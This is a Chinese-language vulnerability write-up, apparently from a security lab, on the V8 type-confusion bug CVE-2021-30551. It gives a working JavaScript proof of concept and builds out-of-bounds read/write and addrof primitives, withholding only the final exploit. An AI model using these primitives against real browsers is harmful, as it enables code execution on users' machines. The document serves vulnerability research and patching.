一、漏洞背景:
近日谷歌公开了四个在野0day,其中CVE-2021-30551是一个v8类型混淆的漏洞,对市面上一些内置浏览器均有影响,下面无恒实验室将根据p0公开的内容对漏洞的利用做一个简单的分享:
二、Root case
前面的一些内容p0的文章中(https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html)已经讲过了,这里简单提一下:
漏洞的过程和之前沙箱漏洞中的一种模式思路类似(resolve重入用户js)可以类比去理解。
HTMLEmbedElement是少数具有属性拦截器的 DOM 类之一,每次用户尝试访问Embed的 JS 包装器的属性时将会运行特殊的方法,这个方法可以由用户自定义,也就相当于可以在v8执行过程中重入到用户js层--去执行用户定义的代码。
当对一个对象的命名属性进行操作时,如果该对象没有该属性时,将会去调用SetPropertyInternal函数遍历该对象的原型链
C++
Maybe<bool> Object::SetPropertyInternal(LookupIterator* it,
Handle<Object> value,
Maybe<ShouldThrow> should_throw,
StoreOrigin store_origin, bool* found) {
[...]
do {
switch (it->state()) {
[...]
case LookupIterator::INTERCEPTOR: {
if (it->HolderIsReceiverOrHiddenPrototype()) {
Maybe<bool> result =
JSObject::SetPropertyWithInterceptor(it, should_throw, value);
if (result.IsNothing() || result.FromJust()) return result;
} else {
Maybe<PropertyAttributes> maybe_attributes =
JSObject::GetPropertyAttributesWithInterceptor(it);
if (maybe_attributes.IsNothing()) return Nothing<bool>();
if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
return WriteToReadOnlyProperty(it, value, should_throw);
}
if (maybe_attributes.FromJust() == ABSENT) break;
*found = false;
return Nothing<bool>();
}
break;
}
[...]
*found = false;
return Nothing<bool>();
}
如果在原型链中遍历到INTERCEPTOR(拦截器),将会去执行拦截器以确定是否应该抛出“只读属性”异常,此时将会调用用户定义好的js代码,接下来SetPropertyInternal将会报告该属性不存在,接着交由SetProperty去调用AddDataProperty来创建属性。
C++
Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
StoreOrigin store_origin,
Maybe<ShouldThrow> should_throw) {
if (it->IsFound()) {
bool found = true;
Maybe<bool> result =
SetPropertyInternal(it, value, should_throw, store_origin, &found);
if (found) return result;
}
[...]
return AddDataProperty(it, value, NONE, should_throw, store_origin);
}
先大致描述一下漏洞的产生:
当用户访问一个object的命名属性时,如果该obj没有该属性,就会进入上面的遍历原型链的过程,此时如果在拦截器中创建该属性,并将该obj的map更改为deprecated状态,之后在SetPropertyInternal遍历结束后去创建属性时就会创建一个同名的第二个属性,如果此时的map为deprecated状态,此时将只会更新属性的值而不会去修改map中的描述符(map中保存了一个描述符数组,里面储存了命名属性的相关信息)。从而导致类型混淆。
在根据poc来分析之前先做个小实验:
JavaScript
global_object = {};
const array = [1.1, 2.2, 3.3];
const object_1 = {
__proto__: global_object
};
object_1.regular_prop = 1; //------------------------------->map1
%DebugPrint(object_1);
%DebugPrint(object_1.regular_prop);
%SystemBreak();
Object.setPrototypeOf(global_object, null);
object_1.corrupted_prop = array; //--------------------------->map2(map1 is deprecated)
%DebugPrint(object_1);
%SystemBreak();
const object_2 = {
__proto__: global_object
};
object_2.regular_prop = 1; //---------------------------------->map1
%DebugPrint(object_2);
%SystemBreak();
Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = array;//------------------------------>map2
%DebugPrint(object_2);
%SystemBreak();
object_1.regular_prop = 1.1;//----------------------------------->map3(map2 is deprecated)
%DebugPrint(object_1);
%DebugPrint(object_2);
根据debug信息可以得到注释中的结论,之后根据该代码去实现在拦截器中将object的map设置为deprecated。
2.1 poc
JavaScript
global_object = {};
setPropertyViaEmbed = (object, value, handler) => {
const embed = document.createElement('embed');
embed.onload = handler;//遍历到拦截器后调用的js代码
embed.type = 'text/html';
Object.setPrototypeOf(global_object, embed); //将embed(拦截器)设置到原型链中
document.body.appendChild(embed);
object.corrupted_prop = value;//通过访问obj中不存在的命名属性触发SetPropertyInternal
embed.remove();
}
createCorruptedPair = (value_1, value_2) => {//object1主要用于将object2的map设置为deprecated
const object_1 = {
__proto__: global_object
};
object_1.regular_prop = 1;
setPropertyViaEmbed(object_1, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_1.corrupted_prop = value_1;
});
const object_2 = {
__proto__: global_object
};
object_2.regular_prop = 1;
setPropertyViaEmbed(object_2, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = value_1; //在重入的过程中创建刚才不存在的命名属性。
object_1.regular_prop = 1.1//设置map为deprecated
});
return [object_1, object_2];
}
主要的地方已经以注释的形式写在了poc中,下面是实现混淆的代码:
JavaScript
const array = [1.1];
array.prop = 1;
const [object_1, object_2] = createCorruptedPair(array, target); //root case
jit = (object) => {
return object.corrupted_prop[0];
}
for (var i = 0; i < 100000; ++i)
jit(object_1);
var leak = jit(object_2);
console.log('0x' + hex(d2u(leak)[0]));
漏洞主要发生在注释的地方,这里对poc做一个拆解便于理解:
JavaScript
object.setPrototypeOf(global_object, embed);
document.body.appendChild(embed);
object.corrupted_prop = value; <-----调用Object::SetPropertyInternal开始遍历
由于已经设置了global_object为embed,遍历的过程中将会执行:
C++
{
Maybe<PropertyAttributes> maybe_attributes =
JSObject::GetPropertyAttributesWithInterceptor(it);
if (maybe_attributes.IsNothing()) return Nothing<bool>();
if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
return WriteToReadOnlyProperty(it, value, should_throw);
}
if (maybe_attributes.FromJust() == ABSENT) break;
*found = false;
return Nothing<bool>();
}
//他为了判断是否需要抛出只读异常(WriteToReadOnlyProperty(it, value, should_throw);)将会去执行已经定义的拦截器代码
拦截器函数:
JavaScript
() => {
Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = value_1; //在重入的过程中创建刚才不存在的命名属性。
object_1.regular_prop = 1.1//设置map为deprecated
}
在执行完上面的代码后,Object::SetPropertyInternal是不会根据已设定的拦截函数去判断是否创建该属性的,他只会返回一个false的found。
C++
Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
StoreOrigin store_origin,
Maybe<ShouldThrow> should_throw) {
if (it->IsFound()) {
bool found = true;
Maybe<bool> result =
SetPropertyInternal(it, value, should_throw, store_origin, &found);
if (found) return result;
}
[...]
return AddDataProperty(it, value, NONE, should_throw, store_origin);
}
于是这里会接着调用Object::SetProperty去第二次创建该属性。
接下来通过比较object1和object2的创建过程,来体会一下deprecated的作用,这里简单调试一下:
object_1:
object:
map:
descriptorarray:
这里简单对他的结构做了一个标注,可以看到在descriptorarray是存在两个相同key(同名)的属性的,分别对应了field 1 和 field 2,这个对照第一个图也可以看到在in-object property中储存了value1(0x083305a9)和value2(0x08330649),相当于object_1具有了两个同名属性。
接下来是object_2:
可以看到它的map和obejct_1相同,但是不同于object_1,由于deprecated操作object_2并没有创建出两个同名属性,SetProperty只是将它的corrupted_prop属性由value1(0x083305a9)修改为了value2(0x08330649),由于此时的descriptorarray仍是之前的描述符,这就导致%DebugPrint(object_2.corrupted_prop);会错误的将field 2的值作为属性输出就会得到下面的结果:
最重要的是field 1处的值已经由value1修改为了value2,但是描述符并没有发生改变,这也是这个漏洞最关键的地方。
三、利用部分
利用开始前的题外话:
因为这个漏洞他需要使用到html的对象embed,所以是不能直接在d8上调试的,我的方法是在chrome上调试的同时拉一个debug版的d8来方便去查看内存布局,这样对照起来会方便一些。
可以使用下面的命令:
Shell
file ./chrome
set args --headless --disable-gpu --user-data-dir=./userdata --remote-debugging-port=1338 --no-sandbox --js-flags="--allow-natives-syntax --trace-turbo" http://127.0.0.1:8000/poc.html
set follow-fork-mode parent
之后在attach到render进程就可以调试v8了。
3.1越界读
接下来的重点就是如何使用描述符来消除掉checkmaps,最终实现类型混淆:
在load-elimination阶段将会进行冗余消除,v8将会去消除一些多余的检查:
C++
Reduction LoadElimination::ReduceCheckMaps(Node* node) {
ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();
Node* const object = NodeProperties::GetValueInput(node, 0);
Node* const effect = NodeProperties::GetEffectInput(node);
AbstractState const* state = node_states_.Get(effect);
if (state == nullptr) return NoChange();
ZoneHandleSet<Map> object_maps;
if (state->LookupMaps(object, &object_maps)) {
if (maps.contains(object_maps)) return Replace(effect);
// TODO(turbofan): Compute the intersection.
}
state = state->SetMaps(object, maps, zone());
return UpdateState(node, state);
}
可以看到由于上面提到的错误的映射,maps.contains(object_maps)将会返回true从而将checkmaps消除掉,这样就可以实现越界读了。
这里有需要注意的地方:
混淆的对象不能随意选择,比如const [object_1, object_2] = createCorruptedPair(array, 111.223);此时他会将111.223当作数组去使用:
可以看到它会根据偏移去取elements中的内容,对于111.223来说他的对应偏移处的值为0x3ff19999(由于指针压缩,这里会将0x3ff19999+$r13的值作为elements指针进行访问,可以看到此时触发了0地址解引用)。
如果修改为:
JavaScript
const buf12 = new ArrayBuffer(8);
const flo = new Float64Array(buf12);
const [object_1, object_2] = createCorruptedPair(array, flo);
jit = (object) => {
return object.corrupted_prop[2];
}
for (var i = 0; i < 100000; ++i)
jit(object_1);
var leak = jit(object_2);
console.log('0x' + hex(d2u(leak)[1]));
此时就会根据Float64Array的elements来进行越界读,下面是一个简单的例子:
3.2越界写
初尝试:
首先要实现越界写最关键的还是要将checkmaps检查消除,这里我找到了一种办法:
JavaScript
const array = [1.1,2.2,3.3];
array.prop = 1;
const num = 1.1;
num.prop = 1;
jit = (object) => {
object.corrupted_prop[2] = num;
return object.corrupted_prop[2];
}
就是给array设置一个属性,之后在创建一个具有相同属性的num,这样进行写入时就会消除掉checkmaps。
这里有几个点要注意:
直接赋值object.corrupted_prop[2] = 1.1;是不会消除checkmaps的。
越界写的长度是array的长度,但写的基地址为Float64Array的elemets,算是一个比较特殊的越界写!!!很重要 !!!
最后就是越界写的过程中,是将数组中的每一个值都当作object来写的
这里就会有一个问题,elements里面存放的值都是指针压缩后的地址,当作object去写入的话肯定是不行的,看rdi的值也可以发现,他直接取了0xf500000000080425为地址。
而且就算是在32位没有指针压缩的情况下进行越界写,它还是会取8字节的值作为object来进行写入:
如图所示,所以就需要找一种越界时可以直接写double的方法,这里我尝试了几乎所有的object后找到了一个可以使用的目标BigUint64Array。
3.3Why BigUint64Array?
这里选择它的理由主要有以下几点:
它可以直接写入double,而不会像其他object混淆后当作object去写入
BigUint64Array的elements非常特殊,它分配的地址可以和array相邻(可以调试一些其他的typearray,很明显可以发现他们的elements分配的区域和array是相距很远的而且偏移不固定)
图中圈红的位置为elements,可以看到BigUint64array的elements可以和array相邻,对于这个漏洞来说就十分方便了。
3.4最终的越界写思路:
最后需要修改array的length,但目前写入都是以double的形式进行的,所以需要先泄漏出length旁边的elements的地址,之后再进行拼接写入,避免破坏正常的object结构,修改elements的length也是同理:
JavaScript
global_object = {};
setPropertyViaEmbed = (object, value, handler) => {
const embed = document.createElement('embed');
embed.onload = handler;
embed.type = 'text/html';
Object.setPrototypeOf(global_object, embed);
document.body.appendChild(embed);
object.corrupted_prop = value;
embed.remove();
}
createCorruptedPair = (value_1, value_2) => {
const object_1 = {
__proto__: global_object
};
object_1.regular_prop = 1;
setPropertyViaEmbed(object_1, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_1.corrupted_prop = value_1;
});
const object_2 = {
__proto__: global_object
};
object_2.regular_prop = 1;
setPropertyViaEmbed(object_2, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = value_1;
object_1.regular_prop = 1.1
});
return [object_1, object_2];
}
const array = [5.5,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1.1];
array.prop = 1;
const test = new BigUint64Array(2);
var oob_array = [1.1,2.2,3.3];
obj_array = { m: 1337, target: gc };
ab = new ArrayBuffer(0x1337);
const [object_1, object_2] = createCorruptedPair(array, test);
jit = (object,index) => {
return [object.corrupted_prop[index],object.corrupted_prop[index-5]];
}
%PrepareFunctionForOptimization(jit)
jit(object_1,0);
%OptimizeFunctionOnNextCall(jit);
var leak = jit(object_2,0xd);
elem = d2u(leak[0])[0];
elem2 = d2u(leak[1])[0];
const num = u2d(elem,0x4242);
num.prop = 1;
const num2 = u2d(elem2,0x4242);
num2.prop = 1;
num对应oob_array的length,num2对应elements的length,之后只需要将他们越界写入oob_array即可。
JavaScript
proto2 = {};
setPropertyViaEmbed2 = (object, value, handler) => {
const embed = document.createElement('embed');
embed.onload = handler;
embed.type = 'text/html';
Object.setPrototypeOf(proto2, embed);
document.body.appendChild(embed);
object.corrupted2 = value;
embed.remove();
}
createCorruptedPair2 = (value_1, value_2) => {
const object_3 = {
__proto__: proto2
};
object_3.regular2 = 1;
setPropertyViaEmbed2(object_3, value_2, () => {
Object.setPrototypeOf(proto2, null);
object_3.corrupted2 = value_1;
});
const object_4 = {
__proto__: proto2
};
object_4.regular2 = 1;
setPropertyViaEmbed2(object_4, value_2, () => {
Object.setPrototypeOf(proto2, null);
object_4.corrupted2 = value_1;
object_3.regular2 = 1.1
});
return [object_3, object_4];
}
const [object_3, object_4] = createCorruptedPair2(array, test);
//%DebugPrint(object_4.corrupted2);
jit22 = (object,index) => {
object.corrupted2[index] = num; //length
object.corrupted2[index-5] = num2; //elements的length
return object.corrupted2[index];
}
%PrepareFunctionForOptimization(jit22)
jit22(object_3,0);
%OptimizeFunctionOnNextCall(jit22);
//%DebugPrint(test);
var leak2 = jit22(object_4,0xd);
//%DebugPrint(leak2);
array的长度决定越界的范围,忘记的同学可以再回头看一下。
不能只修改oob_array的length,还需要将elements中的length一并修改。
接下来只要提前构造好下面的结构:
JavaScript
const test = new BigUint64Array(2);
var oob_array = [1.1,2.2,3.3];
obj_array = { m: 1337, target: gc };
ab = new ArrayBuffer(0x1337);
利用test去越界修改oob_array的length和elements的length,这样就可以使用oob_array去进行漏洞利用了。
如果是32位的利用的话涉及到一个高低位的问题,这里需要注意一下:
简单举一个例子:
JavaScript
var object_idx = undefined;
var object_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] == 0xa72) {
print("m: i: " + i + " lo 0");
print("target: i: " + i + " hi 1");
object_idx = i;
object_idx_flag = 1;
break;
}
if (d2u(oob_array[i])[1] == 0xa72) {
print("m: i: " + i + " hi 1");
print("target: i: " + (i + 1) + " lo 0");
object_idx = i + 1;
object_idx_flag = 0;
break;
}
}
function addrof(obj_para) {
obj_array.target = obj_para;
return d2u(oob_array[object_idx])[object_idx_flag] - 1;
}
最后由于一些众所周知的原因,详细的exp就没办法在这里放出了,相信看到这里熟悉v8利用的小伙伴们就已经知道后面该怎么做了,有了越界读写之后就是一些常规的做法了。
最终放一个效果图:
四、漏洞修复建议
目前谷歌官方针对该0day已经给出了官方补丁,受影响的可以尽快进行补丁修复,该补丁在遇到拦截器后使 SetPropertyInternal 调用 SetSuperProperty。如果在原型链中找不到该属性,SetSuperProperty 将在“own”模式下重新启动查找,这允许它捕获拦截器对接收器所做的任何更改。